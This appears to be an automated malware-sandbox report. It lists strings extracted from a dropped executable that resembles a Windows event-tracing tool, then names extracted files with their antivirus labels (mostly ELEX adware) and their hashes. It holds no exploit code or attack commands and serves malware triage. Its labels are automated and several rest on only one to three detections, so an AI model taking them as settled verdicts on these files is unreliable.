Failed to configure counters 0x%x
Ansi based on Dropped File (ttttt.exe.179545488)
Failed to configure events 0x%x
Ansi based on Dropped File (ttttt.exe.179545488)
Failed to configure handle trace filter 0x%x
Ansi based on Dropped File (ttttt.exe.179545488)
Failed to enable the system profile privilege 0x%x
Ansi based on Dropped File (ttttt.exe.179545488)
Failed to get current directory
Unicode based on Dropped File (ttttt.exe.179545488)
Failed to get source id for %ws
Ansi based on Dropped File (ttttt.exe.179545488)
Failed to RevertToSelf 0x%x
Ansi based on Dropped File (ttttt.exe.179545488)
Failed to set sampled profile interval 0x%x
Ansi based on Dropped File (ttttt.exe.179545488)
Failed to update profile source configuration 0x%x
Ansi based on Dropped File (ttttt.exe.179545488)
Failure
Unicode based on Dropped File (ttttt.exe.179545488)
FALSE
Unicode based on Dropped File (ttttt.exe.179545488)
FASTIO
Unicode based on Dropped File (ttttt.exe.179545488)
fclose
Ansi based on Dropped File (ttttt.exe.179545488)
fgetc
Ansi based on Dropped File (ttttt.exe.179545488)
fgetws
Ansi based on Dropped File (ttttt.exe.179545488)
file source configuration 0x%x
Ansi based on Dropped File (ttttt.exe.179545488)
File.Etl
Unicode based on Dropped File (ttttt.exe.179545488)
FileMap
Unicode based on Dropped File (ttttt.exe.179545488)
FileName
Unicode based on Dropped File (ttttt.exe.179545488)
FltIo
Unicode based on Dropped File (ttttt.exe.179545488)
FlushThreshold
Unicode based on Dropped File (ttttt.exe.179545488)
FlushTimer
Unicode based on Dropped File (ttttt.exe.179545488)
formation ----------------
Unicode based on Dropped File (ttttt.exe.179545488)
FormatMessageW
Ansi based on Dropped File (ttttt.exe.179545488)
Free Buffers: %d
Unicode based on Dropped File (ttttt.exe.179545488)
fscanf
Ansi based on Dropped File (ttttt.exe.179545488)
g for specified events
Unicode based on Dropped File (ttttt.exe.179545488)
GetFileVersionInfoExW
Ansi based on Dropped File (ttttt.exe.179545488)
GetFileVersionInfoSizeExW
Ansi based on Dropped File (ttttt.exe.179545488)
GetModuleHandleA
Ansi based on Dropped File (ttttt.exe.179545488)
geUser
Unicode based on Dropped File (ttttt.exe.179545488)
gfile of n Mbytes
Unicode based on Dropped File (ttttt.exe.179545488)
gger %I64d
Unicode based on Dropped File (ttttt.exe.179545488)
gh memory to allocate %s filter.
Unicode based on Dropped File (ttttt.exe.179545488)
GISTRY_HIVE
Unicode based on Dropped File (ttttt.exe.179545488)
Global Sequence numbers in use
Unicode based on Dropped File (ttttt.exe.179545488)
GlobalLogger
Unicode based on Dropped File (ttttt.exe.179545488)
GlobalLogger is not running
Unicode based on Dropped File (ttttt.exe.179545488)
Group ID in Stack Walking Parameter File has to be between 00 and FF.
Ansi based on Dropped File (ttttt.exe.179545488)
Guid Level Flags
Unicode based on Dropped File (ttttt.exe.179545488)
Guid Enabled LoggerId Level Flags
Unicode based on Dropped File (ttttt.exe.179545488)
GUID %s
Unicode based on Dropped File (ttttt.exe.179545488)
GUID = %s Instance Count = %d
Unicode based on Dropped File (ttttt.exe.179545488)
Guid: %s
Unicode based on Dropped File (ttttt.exe.179545488)
HandleCreate
Unicode based on Dropped File (ttttt.exe.179545488)
HandleDuplicate
Unicode based on Dropped File (ttttt.exe.179545488)
Handles
Unicode based on Dropped File (ttttt.exe.179545488)
HARD_FAULTS
Unicode based on Dropped File (ttttt.exe.179545488)
HardFaults
Unicode based on Dropped File (ttttt.exe.179545488)
Hybrid Shutdown: %s
Unicode based on Dropped File (ttttt.exe.179545488)
i-ms-win-eventing-controller-l1-1-0
Unicode based on Dropped File (ttttt.exe.179545488)
id Enabled LoggerId Level Flags
Unicode based on Dropped File (ttttt.exe.179545488)
Id Name Interval Min Max
Ansi based on Dropped File (ttttt.exe.179545488)
ID using -sessionguid parameter
Unicode based on Dropped File (ttttt.exe.179545488)
id2 ... >
Unicode based on Dropped File (ttttt.exe.179545488)
iders
Unicode based on Dropped File (ttttt.exe.179545488)
iders in file
Unicode based on Dropped File (ttttt.exe.179545488)
IDLE_STATES
Unicode based on Dropped File (ttttt.exe.179545488)
iled %d
Unicode based on Dropped File (ttttt.exe.179545488)
ileMode
Unicode based on Dropped File (ttttt.exe.179545488)
ilter
Unicode based on Dropped File (ttttt.exe.179545488)
ilters
Unicode based on Dropped File (ttttt.exe.179545488)
ImageLoad
Unicode based on Dropped File (ttttt.exe.179545488)
ImageUnload
Unicode based on Dropped File (ttttt.exe.179545488)
ImpersonateSelf
Ansi based on Dropped File (ttttt.exe.179545488)
in use
Unicode based on Dropped File (ttttt.exe.179545488)
Independent
Unicode based on Dropped File (ttttt.exe.179545488)
ing: Unidentified Key in the trace registry: %s
Unicode based on Dropped File (ttttt.exe.179545488)
INTERRUPT
Unicode based on Dropped File (ttttt.exe.179545488)
Invalid option given: %s
Unicode based on Dropped File (ttttt.exe.179545488)
IO_FAILURE
Unicode based on Dropped File (ttttt.exe.179545488)
IoStartTimer
Unicode based on Dropped File (ttttt.exe.179545488)
IoTimers
Unicode based on Dropped File (ttttt.exe.179545488)
ISK_IO+HARD_FAULTS+DPC+INTERRUPT+WDF_INTERRUPT+WDF_DPC+CSWITCH
Unicode based on Dropped File (ttttt.exe.179545488)
ISR analysis
Unicode based on Dropped File (ttttt.exe.179545488)
iswctype
Ansi based on Dropped File (ttttt.exe.179545488)
ivers
Unicode based on Dropped File (ttttt.exe.179545488)
ize: not set
Unicode based on Dropped File (ttttt.exe.179545488)
Kd-Filter
Unicode based on Dropped File (ttttt.exe.179545488)
Kernel Debugging has been enabled: Buffer size has been set to 3kBytes
Unicode based on Dropped File (ttttt.exe.179545488)
KERNEL_QUEUE
Unicode based on Dropped File (ttttt.exe.179545488)
KernelFlags
Unicode based on Dropped File (ttttt.exe.179545488)
Keyword Keyword
Unicode based on Dropped File (ttttt.exe.179545488)
kInterrupt
Unicode based on Dropped File (ttttt.exe.179545488)
l Sequence numbers in use
Unicode based on Dropped File (ttttt.exe.179545488)
L_FAULTS
Unicode based on Dropped File (ttttt.exe.179545488)
LE_IO_INIT
Unicode based on Dropped File (ttttt.exe.179545488)
Legacy
Unicode based on Dropped File (ttttt.exe.179545488)
LENAME
Unicode based on Dropped File (ttttt.exe.179545488)
lExit
Unicode based on Dropped File (ttttt.exe.179545488)
lid Flags: 0x%0X(%d).
Unicode based on Dropped File (ttttt.exe.179545488)
llocate buffer for EnumerateTraceGuidsEx %d
Unicode based on Dropped File (ttttt.exe.179545488)
llocation
Unicode based on Dropped File (ttttt.exe.179545488)
LOAD_BALANCER
Unicode based on Dropped File (ttttt.exe.179545488)
LOADER
Unicode based on Dropped File (ttttt.exe.179545488)
Local Sequence numbers in use
Unicode based on Dropped File (ttttt.exe.179545488)
log [actions] [options] | [-h | -help | -?]
Unicode based on Dropped File (ttttt.exe.179545488)
Log Buffers Lost: %d
Unicode based on Dropped File (ttttt.exe.179545488)
Log Filename: %s
Unicode based on Dropped File (ttttt.exe.179545488)
Log Filename: default location
Unicode based on Dropped File (ttttt.exe.179545488)
Log Mode:
Unicode based on Dropped File (ttttt.exe.179545488)
LogFileMode
Unicode based on Dropped File (ttttt.exe.179545488)
Logger
Unicode based on Dropped File (ttttt.exe.179545488)
Logger Id: 0x%I64x
Unicode based on Dropped File (ttttt.exe.179545488)
Logger Name: %s
Unicode based on Dropped File (ttttt.exe.179545488)
Logger Started...
Unicode based on Dropped File (ttttt.exe.179545488)
Logger Thread Id: %p
Unicode based on Dropped File (ttttt.exe.179545488)
Logger\
Unicode based on Dropped File (ttttt.exe.179545488)
LoggerName] trace session
Unicode based on Dropped File (ttttt.exe.179545488)
LookupPrivilegeValueW
Ansi based on Dropped File (ttttt.exe.179545488)
Lost: %d
Unicode based on Dropped File (ttttt.exe.179545488)
malloc
Ansi based on Dropped File (ttttt.exe.179545488)
MapFile
Unicode based on Dropped File (ttttt.exe.179545488)
MatchAllKeyword
Unicode based on Dropped File (ttttt.exe.179545488)
MatchAnyKeyword
Unicode based on Dropped File (ttttt.exe.179545488)
MaxFileSize
Unicode based on Dropped File (ttttt.exe.179545488)
Maximum Buffers: %d
Unicode based on Dropped File (ttttt.exe.179545488)
Maximum Buffers: default value
Unicode based on Dropped File (ttttt.exe.179545488)
Maximum File Size: %d Kb
Unicode based on Dropped File (ttttt.exe.179545488)
Maximum File Size: %d Mb
Unicode based on Dropped File (ttttt.exe.179545488)
Maximum File Size: not set
Unicode based on Dropped File (ttttt.exe.179545488)
MaximumBuffers
Unicode based on Dropped File (ttttt.exe.179545488)
me mode
Unicode based on Dropped File (ttttt.exe.179545488)
memcmp
Ansi based on Dropped File (ttttt.exe.179545488)
memcpy
Ansi based on Dropped File (ttttt.exe.179545488)
Memory
Unicode based on Dropped File (ttttt.exe.179545488)
memset
Ansi based on Dropped File (ttttt.exe.179545488)
Microsoft (R) %s (%s)%s
Unicode based on Dropped File (ttttt.exe.179545488)
mInfo
Unicode based on Dropped File (ttttt.exe.179545488)
Minimum Buffers: %d
Unicode based on Dropped File (ttttt.exe.179545488)
Minimum Buffers: default value
Unicode based on Dropped File (ttttt.exe.179545488)
MinimumBuffers
Unicode based on Dropped File (ttttt.exe.179545488)
MORY_CONTROL
Unicode based on Dropped File (ttttt.exe.179545488)
msvcrt.dll
Ansi based on Dropped File (ttttt.exe.179545488)
mumBuffers
Unicode based on Dropped File (ttttt.exe.179545488)
n minutes
Unicode based on Dropped File (ttttt.exe.179545488)
n or -out argument.
Unicode based on Dropped File (ttttt.exe.179545488)
Need exactly one GUID for PRIVATE loggers
Unicode based on Dropped File (ttttt.exe.179545488)
Need file size for preallocated log file
Unicode based on Dropped File (ttttt.exe.179545488)
Need one GUID for PRIVATE loggers
Unicode based on Dropped File (ttttt.exe.179545488)
Need to have %%d in file name when NEWFILE mode is used
Unicode based on Dropped File (ttttt.exe.179545488)
nel Context Logger
Unicode based on Dropped File (ttttt.exe.179545488)
nEnter
Unicode based on Dropped File (ttttt.exe.179545488)
NewFile
Unicode based on Dropped File (ttttt.exe.179545488)
nfiguring PMC collection...
Unicode based on Dropped File (ttttt.exe.179545488)
nfo\%04x%04x\%s
Unicode based on Dropped File (ttttt.exe.179545488)
NFO_WS
Unicode based on Dropped File (ttttt.exe.179545488)
nfoWs
Unicode based on Dropped File (ttttt.exe.179545488)
ngeCreate
Unicode based on Dropped File (ttttt.exe.179545488)
ngeRelease
Unicode based on Dropped File (ttttt.exe.179545488)
nitDone
Unicode based on Dropped File (ttttt.exe.179545488)
No per-processor buffering
Unicode based on Dropped File (ttttt.exe.179545488)
Nonstoppable
Unicode based on Dropped File (ttttt.exe.179545488)
Not Enabled
Unicode based on Dropped File (ttttt.exe.179545488)
Not enough memory to allocate %s filter.
Unicode based on Dropped File (ttttt.exe.179545488)
Notify
Unicode based on Dropped File (ttttt.exe.179545488)
nstrumentation
Unicode based on Dropped File (ttttt.exe.179545488)
NT Kernel Logger
Unicode based on Dropped File (ttttt.exe.179545488)
ntdll.dll
Ansi based on Dropped File (ttttt.exe.179545488)
NtQuerySystemInformation
Ansi based on Dropped File (ttttt.exe.179545488)
NtSetSystemInformation
Ansi based on Dropped File (ttttt.exe.179545488)
Number of Buffers: %d
Unicode based on Dropped File (ttttt.exe.179545488)
o start
Unicode based on Dropped File (ttttt.exe.179545488)
ObjectDelete
Unicode based on Dropped File (ttttt.exe.179545488)
Objects
Unicode based on Dropped File (ttttt.exe.179545488)
ObjectType filter:
Ansi based on Dropped File (ttttt.exe.179545488)
OCKINT
Unicode based on Dropped File (ttttt.exe.179545488)
odisk
Unicode based on Dropped File (ttttt.exe.179545488)
OFILE
Unicode based on Dropped File (ttttt.exe.179545488)
ofile
Unicode based on Dropped File (ttttt.exe.179545488)
oggerName] Disables providers for the [LoggerName] session
Unicode based on Dropped File (ttttt.exe.179545488)
oInit
Unicode based on Dropped File (ttttt.exe.179545488)
ompletion
Unicode based on Dropped File (ttttt.exe.179545488)
on -dpcisr cannot be used when extended flags are alread used.
Unicode based on Dropped File (ttttt.exe.179545488)
ook: %s
Unicode based on Dropped File (ttttt.exe.179545488)
OpCompletion
Unicode based on Dropped File (ttttt.exe.179545488)
OpenThreadToken
Ansi based on Dropped File (ttttt.exe.179545488)
Operation Status: %uL
Unicode based on Dropped File (ttttt.exe.179545488)
oprocess
Unicode based on Dropped File (ttttt.exe.179545488)
options:
Unicode based on Dropped File (ttttt.exe.179545488)
ority
Unicode based on Dropped File (ttttt.exe.179545488)
out <n> Forces enable to be synchronous with timeout value in ms
Unicode based on Dropped File (ttttt.exe.179545488)
p Write out buffers for triage memory dumps
Unicode based on Dropped File (ttttt.exe.179545488)
PackageIdFilter
Unicode based on Dropped File (ttttt.exe.179545488)
PackageRelativeAppIdFilter
Unicode based on Dropped File (ttttt.exe.179545488)
Paged
Unicode based on Dropped File (ttttt.exe.179545488)
PageFaults
Unicode based on Dropped File (ttttt.exe.179545488)
pcisr
Unicode based on Dropped File (ttttt.exe.179545488)
pcWaitForReply
Unicode based on Dropped File (ttttt.exe.179545488)
pecify an Executable name filter with names separated by semi-colon
Unicode based on Dropped File (ttttt.exe.179545488)
PERF_COUNTER
Unicode based on Dropped File (ttttt.exe.179545488)
Persist
Unicode based on Dropped File (ttttt.exe.179545488)
PoolAllocation
Unicode based on Dropped File (ttttt.exe.179545488)
ported on this version
Ansi based on Dropped File (ttttt.exe.179545488)
Power
Unicode based on Dropped File (ttttt.exe.179545488)
Pre-allocate
Unicode based on Dropped File (ttttt.exe.179545488)
printf
Ansi based on Dropped File (ttttt.exe.179545488)
Priority
Unicode based on Dropped File (ttttt.exe.179545488)
Process
Unicode based on Dropped File (ttttt.exe.179545488)
PROCESS
Unicode based on Dropped File (ttttt.exe.179545488)
PROFILE
Unicode based on Dropped File (ttttt.exe.179545488)
property (enableex/disableex only)
Unicode based on Dropped File (ttttt.exe.179545488)
quence Numbers
Unicode based on Dropped File (ttttt.exe.179545488)
QueryAllTracesW
Ansi based on Dropped File (ttttt.exe.179545488)
r PRIVATE loggers
Unicode based on Dropped File (ttttt.exe.179545488)
R) %s (%s)%s
Unicode based on Dropped File (ttttt.exe.179545488)
R: Unsupported profile source specified
Ansi based on Dropped File (ttttt.exe.179545488)
rce <src> Configure profiling source to use. 'Help' for list of sources
Unicode based on Dropped File (ttttt.exe.179545488)
re Enable tracing in secure mode
Unicode based on Dropped File (ttttt.exe.179545488)
Real Time Buffers Lost: %d
Unicode based on Dropped File (ttttt.exe.179545488)
Real Time Consumers: %d
Unicode based on Dropped File (ttttt.exe.179545488)
Realtime
Unicode based on Dropped File (ttttt.exe.179545488)
reates the registry keys [LoggerName] autologger session.
Unicode based on Dropped File (ttttt.exe.179545488)
red Trace Guids
Unicode based on Dropped File (ttttt.exe.179545488)
REFSET
Unicode based on Dropped File (ttttt.exe.179545488)
RegDeleteKeyExW
Ansi based on Dropped File (ttttt.exe.179545488)
Registerd by this Process
Unicode based on Dropped File (ttttt.exe.179545488)
REGISTRY
Unicode based on Dropped File (ttttt.exe.179545488)
Registry
Unicode based on Dropped File (ttttt.exe.179545488)
Registry set to start
Unicode based on Dropped File (ttttt.exe.179545488)
Registry set to stop
Unicode based on Dropped File (ttttt.exe.179545488)
REGISTRY_NOTIF
Unicode based on Dropped File (ttttt.exe.179545488)
ReleaseKernel
Unicode based on Dropped File (ttttt.exe.179545488)
rence
Unicode based on Dropped File (ttttt.exe.179545488)
renceSet
Unicode based on Dropped File (ttttt.exe.179545488)
reOpInit
Unicode based on Dropped File (ttttt.exe.179545488)
Request provider to log state information
Unicode based on Dropped File (ttttt.exe.179545488)
reserveProcess
Unicode based on Dropped File (ttttt.exe.179545488)
RevertToSelf
Ansi based on Dropped File (ttttt.exe.179545488)
rfCounter
Unicode based on Dropped File (ttttt.exe.179545488)
rguments.
Unicode based on Dropped File (ttttt.exe.179545488)
right
Unicode based on Dropped File (ttttt.exe.179545488)
rInterrupt
Unicode based on Dropped File (ttttt.exe.179545488)
ription
Unicode based on Dropped File (ttttt.exe.179545488)
rmation --------------------------------------
Unicode based on Dropped File (ttttt.exe.179545488)
RNING: Could not %s some guids.
Unicode based on Dropped File (ttttt.exe.179545488)
rofile
Unicode based on Dropped File (ttttt.exe.179545488)
ror: %s is an invalid guid.
Unicode based on Dropped File (ttttt.exe.179545488)
ror: Invalid GuidFile!
Unicode based on Dropped File (ttttt.exe.179545488)
ror: Invalid number of enable flags.
Unicode based on Dropped File (ttttt.exe.179545488)
ROR: System Logger does not accept application guids.
Unicode based on Dropped File (ttttt.exe.179545488)
roup: %s
Unicode based on Dropped File (ttttt.exe.179545488)
rs for the [LoggerName] session
Unicode based on Dropped File (ttttt.exe.179545488)
rsist
Unicode based on Dropped File (ttttt.exe.179545488)
RtlGetVersion
Ansi based on Dropped File (ttttt.exe.179545488)
RtlInitUnicodeString
Ansi based on Dropped File (ttttt.exe.179545488)
RtlNtStatusToDosError
Ansi based on Dropped File (ttttt.exe.179545488)
rtualFree
Unicode based on Dropped File (ttttt.exe.179545488)
ry set to stop
Unicode based on Dropped File (ttttt.exe.179545488)
s for CritSec Guid
Unicode based on Dropped File (ttttt.exe.179545488)
s registry keys that activate GlobalLogger
Unicode based on Dropped File (ttttt.exe.179545488)
s: %d
Unicode based on Dropped File (ttttt.exe.179545488)
sable
Unicode based on Dropped File (ttttt.exe.179545488)
Secure
Unicode based on Dropped File (ttttt.exe.179545488)
Security: %s
Unicode based on Dropped File (ttttt.exe.179545488)
Sequential
Unicode based on Dropped File (ttttt.exe.179545488)
serveProcess
Unicode based on Dropped File (ttttt.exe.179545488)
Session
Unicode based on Dropped File (ttttt.exe.179545488)
Session Security: %s
Unicode based on Dropped File (ttttt.exe.179545488)
SessionPoolFree
Unicode based on Dropped File (ttttt.exe.179545488)
SeSystemProfilePrivilege
Unicode based on Dropped File (ttttt.exe.179545488)
SetOneShotTimer
Unicode based on Dropped File (ttttt.exe.179545488)
Setting %ws interval to %d
Ansi based on Dropped File (ttttt.exe.179545488)
SetValue
Unicode based on Dropped File (ttttt.exe.179545488)
sh Timer: %d %ws
Unicode based on Dropped File (ttttt.exe.179545488)
SoftReboot Preserve: Yes
Unicode based on Dropped File (ttttt.exe.179545488)
spatcher
Unicode based on Dropped File (ttttt.exe.179545488)
Specify an event id filter with <n> event ids (maximum 64 event ids allowed)
Unicode based on Dropped File (ttttt.exe.179545488)
SPINLOCK
Unicode based on Dropped File (ttttt.exe.179545488)
SPLIT_IO
Unicode based on Dropped File (ttttt.exe.179545488)

Extracted Files

Displaying 44 extracted file(s). The remaining 20 file(s) are available in the full version and XML/JSON reports.

  • Malicious 7

    • WinSAP.dll
      Download Disabled VirusTotal Report Metadefender Report Hash Seen Before
      Size
      538KiB (550400 bytes)
      Type
      pedll executable
      Description
      PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
      AV Scan Result
      Labeled as "Adware.ELEX" (13/84)
      Runtime Process
      rundll32.exe (PID: 2632)
      MD5
      c468f67c91e1c977b150dcf7e017c296 Copy MD5 to clipboard
      SHA1
      7183bcc0154a52223aa6be3d79e6425768bc0fff Copy SHA1 to clipboard
      SHA256
      82d44b928f6b90377f5c2a06c08e5258ad50d16736472a285cfdb5d88a629716 Copy SHA256 to clipboard
    • MIO.exe
      Overview Download Disabled VirusTotal Report Metadefender Report Hash Seen Before
      Size
      276KiB (282168 bytes)
      Type
      peexe executable
      Description
      PE32 executable (GUI) Intel 80386, for MS Windows
      AV Scan Result
      Labeled as "Tencent.I potentially unwanted" (2/84)
      Runtime Process
      rundll32.exe (PID: 2632)
      MD5
      7f014d20314f4902ff7ab2bd459c4430 Copy MD5 to clipboard
      SHA1
      8804007dc261615e83bad6289fc74ee6c10b9532 Copy SHA1 to clipboard
      SHA256
      5ff20b299f9d060a308320f9fda1ad6e4144ebf53db2b5d18041536e3f554f43 Copy SHA256 to clipboard
    • MIO.dll
      Overview Download Disabled VirusTotal Report Hash Seen Before
      Size
      500KiB (512000 bytes)
      Type
      pedll executable
      Description
      PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
      AV Scan Result
      Labeled as "ELEX.R197761" (3/61)
      Runtime Process
      rundll32.exe (PID: 2632)
      MD5
      2068402863865cc74a6d4d2110561a70 Copy MD5 to clipboard
      SHA1
      ea2b6f8eabed73e3c7aa992d62627f12aedd7a88 Copy SHA1 to clipboard
      SHA256
      1294817883d4f043f82d7762fb29805f6f55a8bab3b804fd15a2cb4a3e415a04 Copy SHA256 to clipboard
    • SSS.dll
      Download Disabled VirusTotal Report Metadefender Report Hash Seen Before
      Size
      1MiB (1071616 bytes)
      Type
      pedll executable
      Description
      PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
      AV Scan Result
      Labeled as "PUA.Elex" (5/83)
      Runtime Process
      rundll32.exe (PID: 2632)
      MD5
      7c0ffedb336e6b2fb61dd273476189d2 Copy MD5 to clipboard
      SHA1
      00b89336ae8c1778b27edf521efb7d3d4d0f1193 Copy SHA1 to clipboard
      SHA256
      6ff082cdb38a772620ed8526a8b94e575a266602893869f2728d3bce5fc02f8f Copy SHA256 to clipboard
    • UAC.dll
      Download Disabled VirusTotal Report Hash Seen Before
      Size
      117KiB (119296 bytes)
      Type
      pedll executable
      Description
      PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
      AV Scan Result
      Labeled as "W32.eHeur" (3/62)
      Runtime Process
      rundll32.exe (PID: 2632)
      MD5
      90154ea59eeaecbb7dd1e3052644e9f1 Copy MD5 to clipboard
      SHA1
      9f4e41583dc5361506d4d863e0ca0e8b391da640 Copy SHA1 to clipboard
      SHA256
      ef5e6bc8acb08cb9a28f415077f516ef2d51a95bf2ce56d5723ceb9189183797 Copy SHA256 to clipboard
    • kokoko.dll
      Overview Download Disabled VirusTotal Report Metadefender Report Hash Seen Before
      Size
      541KiB (553472 bytes)
      Type
      pedll executable
      Description
      PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
      AV Scan Result
      Labeled as "Adware.ELEX" (9/83)
      Runtime Process
      rundll32.exe (PID: 2632)
      MD5
      d5fba51b4468eb028b7479fe04bb12b8 Copy MD5 to clipboard
      SHA1
      bfe5532bb8b25879da21d89f29f767edcb4dd671 Copy SHA1 to clipboard
      SHA256
      055087bca2cdb9c262a167d5b6a6ece931cb74e8324b23dbe70f382011ec9712 Copy SHA256 to clipboard
    • psi.dll
      Overview Download Disabled VirusTotal Report Hash Seen Before
      Size
      236KiB (241664 bytes)
      Type
      pedll executable
      Description
      PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
      AV Scan Result
      Labeled as "W32.eHeur" (1/62)
      Runtime Process
      rundll32.exe (PID: 2632)
      MD5
      1ecabd8ef432e8985d9a403d3e2dedec Copy MD5 to clipboard
      SHA1
      dc7749a8ebf6a19880fb92d12605a932dbeb0b46 Copy SHA1 to clipboard
      SHA256
      136a8e989e7288717f6a256512d6abcc0963dcc6092040b1382b62382be34c24 Copy SHA256 to clipboard

  • Clean 2

    • hhhhh.exe
      Overview Download Disabled VirusTotal Report Metadefender Report Hash Seen Before
      Size
      524KiB (536256 bytes)
      Type
      peexe executable
      Description
      PE32 executable (console) Intel 80386, for MS Windows
      AV Scan Result
      0/83
      Runtime Process
      rundll32.exe (PID: 2632)
      MD5
      2579df066d38a15be8142954a2633e7f Copy MD5 to clipboard
      SHA1
      5f08cc1dfcbd277f607e01bbbfbb34996febd937 Copy SHA1 to clipboard
      SHA256
      680327b39d67502103cc9ac8656564529c9a2765adbf563f3145589bcf87681b Copy SHA256 to clipboard
    • ttttt.exe
      Overview Download Disabled VirusTotal Report Metadefender Report Hash Seen Before
      Size
      93KiB (94912 bytes)
      Type
      peexe executable
      Description
      PE32 executable (console) Intel 80386, for MS Windows
      AV Scan Result
      0/84
      Runtime Process
      rundll32.exe (PID: 2632)
      MD5
      66e4d7c44d23abf72069e745e6b617ed Copy MD5 to clipboard
      SHA1
      7d9d44a8e33a7dd21d5f240eaa0fbc6e8de2e185 Copy SHA1 to clipboard
      SHA256
      8f2e624dd9e77d0e2e74b01e271faace40f13a4f51fab61a585fbf0779bea627 Copy SHA256 to clipboard

  • Informative Selection 20

    • 1M4PWI30IZ7MFGGO1FRP.temp
      Download Disabled Hash Seen Before
      Size
      7.8KiB (8016 bytes)
      Type
      data
      Runtime Process
      powershell.exe (PID: 976)
      MD5
      9ede4c0ebf0c59bcfc33bb2b41a24b6a Copy MD5 to clipboard
      SHA1
      ec78a721b4770e2b4a56f82a1fb148605faabda8 Copy SHA1 to clipboard
      SHA256
      2ee30630fa09e87de6edb7aed076c94663f884295c85c6af1b818a73aebbb11b Copy SHA256 to clipboard
    • 1NXEPLXS78PRAH14YYX6.temp
      Download Disabled Hash Seen Before
      Size
      7.8KiB (8016 bytes)
      Type
      data
      Runtime Process
      powershell.exe (PID: 2596)
      MD5
      9ede4c0ebf0c59bcfc33bb2b41a24b6a Copy MD5 to clipboard
      SHA1
      ec78a721b4770e2b4a56f82a1fb148605faabda8 Copy SHA1 to clipboard
      SHA256
      2ee30630fa09e87de6edb7aed076c94663f884295c85c6af1b818a73aebbb11b Copy SHA256 to clipboard
    • 6AMB3GNE2YDGS3HMRE75.temp
      Download Disabled Hash Seen Before
      Size
      7.8KiB (8016 bytes)
      Type
      data
      Runtime Process
      powershell.exe (PID: 308)
      MD5
      9ede4c0ebf0c59bcfc33bb2b41a24b6a Copy MD5 to clipboard
      SHA1
      ec78a721b4770e2b4a56f82a1fb148605faabda8 Copy SHA1 to clipboard
      SHA256
      2ee30630fa09e87de6edb7aed076c94663f884295c85c6af1b818a73aebbb11b Copy SHA256 to clipboard
    • 6UI8K07ZZ4MDI818U9WV.temp
      Download Disabled Hash Seen Before
      Size
      7.8KiB (8016 bytes)
      Type
      data
      Runtime Process
      powershell.exe (PID: 2856)
      MD5
      9ede4c0ebf0c59bcfc33bb2b41a24b6a Copy MD5 to clipboard
      SHA1
      ec78a721b4770e2b4a56f82a1fb148605faabda8 Copy SHA1 to clipboard
      SHA256
      2ee30630fa09e87de6edb7aed076c94663f884295c85c6af1b818a73aebbb11b Copy SHA256 to clipboard
    • AFR7NC8QHZCRYOJYIYOF.temp
      Download Disabled Hash Seen Before
      Size
      7.8KiB (8016 bytes)
      Type
      data
      Runtime Process
      powershell.exe (PID: 4080)
      MD5
      78d2424acfe464780372f1f4b47cd6ac Copy MD5 to clipboard
      SHA1
      e338a70c75586e49fcf1d7a67e1f9a75dce90e49 Copy SHA1 to clipboard
      SHA256
      a89828b0f27363c91be384c7f70b4efd2b8ad72d4205be94bea656e3d9118ed7 Copy SHA256 to clipboard
    • BIH3H63VZ2ECTUMI13WU.temp
      Download Disabled Hash Seen Before
      Size
      7.8KiB (8016 bytes)
      Type
      data
      Runtime Process
      powershell.exe (PID: 3776)
      MD5
      9ede4c0ebf0c59bcfc33bb2b41a24b6a Copy MD5 to clipboard
      SHA1
      ec78a721b4770e2b4a56f82a1fb148605faabda8 Copy SHA1 to clipboard
      SHA256
      2ee30630fa09e87de6edb7aed076c94663f884295c85c6af1b818a73aebbb11b Copy SHA256 to clipboard
    • HVGIOP308KAR3Z87JMON.temp
      Download Disabled Hash Seen Before
      Size
      7.8KiB (8016 bytes)
      Type
      data
      Runtime Process
      powershell.exe (PID: 3836)
      MD5
      9ede4c0ebf0c59bcfc33bb2b41a24b6a Copy MD5 to clipboard
      SHA1
      ec78a721b4770e2b4a56f82a1fb148605faabda8 Copy SHA1 to clipboard
      SHA256
      2ee30630fa09e87de6edb7aed076c94663f884295c85c6af1b818a73aebbb11b Copy SHA256 to clipboard
    • M1AY799G5PM9VULPXKZF.temp
      Download Disabled Hash Seen Before
      Size
      7.8KiB (8016 bytes)
      Type
      data
      Runtime Process
      powershell.exe (PID: 1796)
      MD5
      9ede4c0ebf0c59bcfc33bb2b41a24b6a Copy MD5 to clipboard
      SHA1
      ec78a721b4770e2b4a56f82a1fb148605faabda8 Copy SHA1 to clipboard
      SHA256
      2ee30630fa09e87de6edb7aed076c94663f884295c85c6af1b818a73aebbb11b Copy SHA256 to clipboard
    • U33DWUUVXMZ1968ALKQJ.temp
      Download Disabled Hash Seen Before
      Size
      7.8KiB (8016 bytes)
      Type
      data
      Runtime Process
      powershell.exe (PID: 2488)
      MD5
      9ede4c0ebf0c59bcfc33bb2b41a24b6a Copy MD5 to clipboard
      SHA1
      ec78a721b4770e2b4a56f82a1fb148605faabda8 Copy SHA1 to clipboard
      SHA256
      2ee30630fa09e87de6edb7aed076c94663f884295c85c6af1b818a73aebbb11b Copy SHA256 to clipboard
    • UEEGIK9G35EQ1EPXDI7T.temp
      Download Disabled Hash Seen Before
      Size
      7.8KiB (8016 bytes)
      Type
      data
      Runtime Process
      powershell.exe (PID: 3364)
      MD5
      9ede4c0ebf0c59bcfc33bb2b41a24b6a Copy MD5 to clipboard
      SHA1
      ec78a721b4770e2b4a56f82a1fb148605faabda8 Copy SHA1 to clipboard
      SHA256
      2ee30630fa09e87de6edb7aed076c94663f884295c85c6af1b818a73aebbb11b Copy SHA256 to clipboard
    • V8SU1PUUOJ65NIVLVOW9.temp
      Download Disabled Hash Seen Before
      Size
      7.8KiB (8016 bytes)
      Type
      data
      Runtime Process
      powershell.exe (PID: 2408)
      MD5
      78d2424acfe464780372f1f4b47cd6ac Copy MD5 to clipboard
      SHA1
      e338a70c75586e49fcf1d7a67e1f9a75dce90e49 Copy SHA1 to clipboard
      SHA256
      a89828b0f27363c91be384c7f70b4efd2b8ad72d4205be94bea656e3d9118ed7 Copy SHA256 to clipboard
    • csp8E4D.tmp
      Overview Download Disabled Hash Seen Before
      Size
      3B (3 bytes)
      Type
      text
      Description
      ASCII text, with no line terminators
      Runtime Process
      rundll32.exe (PID: 2632)
      MD5
      4bb916da5a7ea9b96d7626fb84d59ab7 Copy MD5 to clipboard
      SHA1
